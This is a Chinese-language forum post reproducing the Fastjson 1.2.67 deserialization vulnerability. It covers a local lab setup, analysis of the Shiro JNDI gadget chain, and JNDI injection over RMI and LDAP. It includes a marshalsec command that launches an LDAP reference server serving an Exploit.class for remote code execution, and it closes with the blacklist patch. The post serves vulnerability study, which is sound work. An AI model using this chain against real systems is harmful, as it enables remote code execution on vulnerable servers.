电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2805 人浏览分享

Fastjson漏洞复现

[复制链接]
2805 0
前言
前不久传的沸沸扬扬的FastJson反序列化漏洞 相信有不少企业都中招了 当然我司也未能幸免 基于次漏洞更具官方给的补漏措施
已完全可以避免在这不再阐述 本文就拿它从一个简单的FastJson 漏洞开始 搭建漏洞环境 分析漏洞成因 使用条件等 从入门者的
角度看懂并复现漏洞触发 拥有属于自己的一套漏洞调试环境。
以下便是部分官方公告:

175440f2nxbjkxkjn1irrf.png

0x01 Fastjson简介
   
Fastjson 是Alibaba的开源JSON解析库 它可以解析 JSON 格式的字符串 支持将 Java Bean 序列化为 JSON
字符串也可以从 JSON 字符串反序列化到 JavaBean。
https://github.com/alibaba/fastjson

0x02 环境搭建

JDK 版本:8u112  fastjson: 1.2.67 shiro: 1.5.1 slf4j-nop: 1.7.25

0x1 添加依赖包

为了快速添加项目所需要的jar包 创建Maven项目如下

175441qhfbrfnssgv3shmb.png

Maven文件:pom.xml

175441j4tt5qr6jerje6q4.png

导入工程之后右键pom.xml  点击下载源码source和document。

175442yb37rsgr7yryydrw.png

0x2 Idea中JDK版本选择

此漏洞应该选择:JDK 8u112

100.png

0x3 手动漏洞代码

此时在main文件夹中 添加漏洞代码核心在于调用了fastjson.JSON的parseObject 两函数

99.png

0x03 漏洞原理

98.png

0x1 FastJson 类解析

如图:fastjson.java

97.png

96.png

因此 通过以上代码可以看出调用parseObject 函数会调用getattr()方法。

0x2 漏洞调用链分析

此时我们进行调用栈分析:

92.png

利用1:parseObject 对象类型转换

在这一步的操作是将obj对应的对象类型转化为json 这肯定要获得getattr() 对象方法 从而会触发漏洞。

91.png

利用2:反射调用

将用invoke方法 调用getinstance()方法:
例:

90.png

利用3: 触发ldapJndiObjectFactory getinstance中调用了this.lookup(resourceName)方法:
例:


89.png

0x3 JNDI 注入

在Java Name Directory Interface中 Java的命名和目录接口 JNDI 是一种Java 的API 类似于一个索引中心 允许客户
端通过name发现和查找数据 JNDI包括Naming Service和Directory Service 此时 通过名称来寻找数据和对象的API
我们也称其中为一种绑定 但是JNDI可访问的现有的目录及服务有:JDBC LDAP RMI DNS NIS CORBA。

175447v258ei2v8f8i8ti8.png

整个应用场景如:动态加载数据库配置文件 从而保持数据库代码不变动等。
漏洞注入方法:

JNDI Reference 配合 RMI
JNDI Reference 配合 LDAP
RMI格式:ctx.lookup("rmi://localhost:9999/refObj");
LDAP格式ctx.lookup("ldap://localhost:9999/refObj");
假若lookup函数中的参数攻击者可控 便可以指向攻击者的服务器 即:可实现JNDI注入实现任意代码执行。

注入1:RMI

简称RMI(Remote Method Invocation 远程方法调用 远程方法调用是分布式编程中的基本思想 实现远程方法调用
技术有CORBA WebService等 这两种独立于编程语言 RMI则是专门为JAVA设计 依赖JRMP通讯协议。

注入2:LDAP

简称:LDAP Lightweight Directory Access Protocol  轻型目录访问协议 一种目录服务协议 主要运行在TCP/IP堆栈之上目
录服务是一个特殊的数据库 用来保存描述性的 基于属性的详细信息 从而能进行查询 浏览和搜索 以树状结构组织数据 LDAP
以树结构标识所以不能像表格一样用SQL语句查询 它 读 性能很强 但 写 性能较差 并且没有事务处理 回滚等复杂功能 不适于
存储修改频繁的数据 LDAP目录和RMI注册表的区别在于是前者是目录服务 并允许分配存储对象的属性 该漏洞简单的将利用
org.apache.shiro 包中的jndi功能访问自己搭建的ldap服务 获取并执行自己编译的Exploit.class文件。

0x04 漏洞利用 0x1 Java 利用代码编译

88.png

0x2 此时开启 LDAP 服务

使用marshalsec启动一个ladp服务器  下载地址为

https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://127.0.0.1:8089/#Exploit

87.png

0x3 开启HTTP Web 服务

此时将编译好的Exploit.class 放在web目录下并开启服务

86.png

0x05 漏洞补丁

这个链接梳理了fastjson hash对应的jar 可以方便的寻找已经被过滤的jar包
https://github.com/LeadroyaL/fastjson-blacklist

85.png

该漏洞采用黑名单的方式进行修补 在1.2.68中把org.apache.shiro.jndi 给ban掉了

82.png

具体代码如下图所示 在 public Class<?> checkAutoType(String typeName Class<?> expectClass,int features)
函数中有对应处理 黑名单hash生成算法 大概思路是将每一位都异或进行异或叠加

81.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.